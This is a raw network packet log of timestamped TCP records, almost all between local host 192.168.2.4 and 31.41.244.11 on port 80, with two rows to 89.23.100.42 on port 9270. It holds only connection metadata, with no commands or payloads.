Dec 15, 2024 11:59:28.514142990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.514178038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.515326023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.515364885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.515381098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.515414953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.516541958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.516585112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.516664028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.516704082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.517776012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.517829895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.517894030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.517936945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.518997908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.519042015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.519124985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.519162893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.520250082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.520292997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.520309925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.520361900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.521487951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.521527052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.521550894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.521588087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.522695065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.522735119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.522902012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.522939920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.523971081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.524010897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.524172068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.524209976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.525214911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.525264978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.525280952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.525316954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.526375055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.526412964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.526479006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.526516914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.527679920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.527718067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.527725935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.527762890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.528836012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.528877020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.528944969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.528983116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.530061960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.530102015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.530308008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.530344963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.531382084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.531423092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.531460047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.531496048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.532519102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.532557964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.532615900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.532654047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.533775091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.533813953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.533900023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.533936977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.535013914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.535052061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.535074949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.535111904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.536206007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.536245108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.536262035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.536293030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.537458897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.537498951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.537542105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.537579060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.538666964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.538707972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.538769007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.538808107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.539917946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.539971113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.540014029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.540055990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.541215897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.541233063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.541259050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.541269064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.542370081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.542407036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.542469978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.542506933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.543673992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.543713093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.543730021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.543766022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.544871092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.544908047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.545047998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.545087099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.546155930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.546192884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.546253920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.546292067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.547311068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.547358990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.547377110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.547415018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.548567057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.548608065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.548613071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.548641920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.549968958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.550010920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.550064087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.550101042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.551134109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.551173925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.551196098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.551203966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.552223921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.552267075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.552308083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.552345037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.553411007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.553450108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.553517103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.553556919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.554651976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.554702044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.554781914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.554825068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.555898905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.555939913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.556005955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.556046009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.557097912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.557136059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.557200909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.557238102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.558305025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.558355093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.558403015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.558440924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.559572935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.559618950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.559658051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.559701920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.560750008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.560766935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.560790062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.560817957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.561981916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.562027931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.562102079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.562138081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.563225985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.563266993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.563330889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.563369989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.564444065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.564485073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.564539909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.564577103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.565675974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.565712929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.565737963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.565774918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.566981077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.567018986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.567039967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.567079067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.568149090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.568188906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.568377972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.568419933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.569417000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.569468975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.569489956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.569530964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.570610046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.570648909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.570666075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.570699930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.571849108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.571893930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.572014093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.572052002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.573049068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.573087931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.573168993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.573208094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.574314117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.574353933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.574501038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.574538946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.575494051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.575532913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.575659990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.575696945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.576742887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.576785088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.576838970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.576877117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.578022003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.578062057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.607007027 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:28.663768053 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:28.705686092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.705734968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.705776930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.705815077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.706250906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.706295013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.706404924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.706444025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.707242966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.707281113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.707355022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.707395077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.708384037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.708422899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.708486080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.708518982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.709583998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.709620953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.709692955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.709728003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.710808992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.710853100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.710901022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.710932016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.712013006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.712052107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.712107897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.712142944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.713212967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.713263988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.713323116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.713359118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.714420080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.714461088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.714606047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.714644909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.715632915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.715672970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.715727091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.715763092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.716869116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.716912985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.716952085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.716989994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.718060017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.718105078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.718137026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.718173981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.719270945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.719306946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.719686031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.719726086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.720424891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.720464945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.720558882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.720596075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.721659899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.721698046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.721765041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.721817017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.722894907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.722934961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.723007917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.723048925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.724193096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.724232912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.724302053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.724349976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.725297928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.725337029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.725400925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.725439072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.726562023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.726596117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.726671934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.726707935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.727761030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.727799892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.727819920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.727857113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.728923082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.728959084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.728981018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.729022026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.730130911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.730168104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.730326891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.730364084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.731322050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.731360912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.731415987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.731455088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.732606888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.732661963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.732670069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.732706070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.733742952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.733783007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.733851910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.733890057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.734905005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.734946966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.735013962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.735052109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.736103058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.736152887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.736206055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.736248016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.737345934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.737382889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.737406015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.737436056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.738605022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.738639116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.738706112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.738743067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.739979982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.740019083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.740036964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.740073919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.741097927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.741136074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.741213083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.741249084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.742188931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.742227077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.742279053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.742316008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.743357897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.743398905 CET	49805	80	192.168.2.4	31.41.244.11
